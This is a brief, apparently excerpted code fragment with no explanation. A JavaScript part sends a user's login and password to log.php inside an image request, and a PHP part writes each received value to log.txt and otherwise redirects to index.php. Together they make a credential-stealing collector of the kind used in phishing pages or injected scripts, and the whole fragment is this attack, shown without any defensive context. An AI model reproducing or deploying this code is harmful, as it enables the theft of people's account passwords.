............

img = new Image();
img.onload = p();
img.src = "log.php?c=" + login + ';' + pass;

if(isset($_GET['c']) || !empty($_GET['c']))
{ 
$open = fopen('log.txt','a'); 
fwrite($open,$_GET['c']."\r\n"); 
fclose($open); 
}
else
{ 
header("Location: index.php"); 
}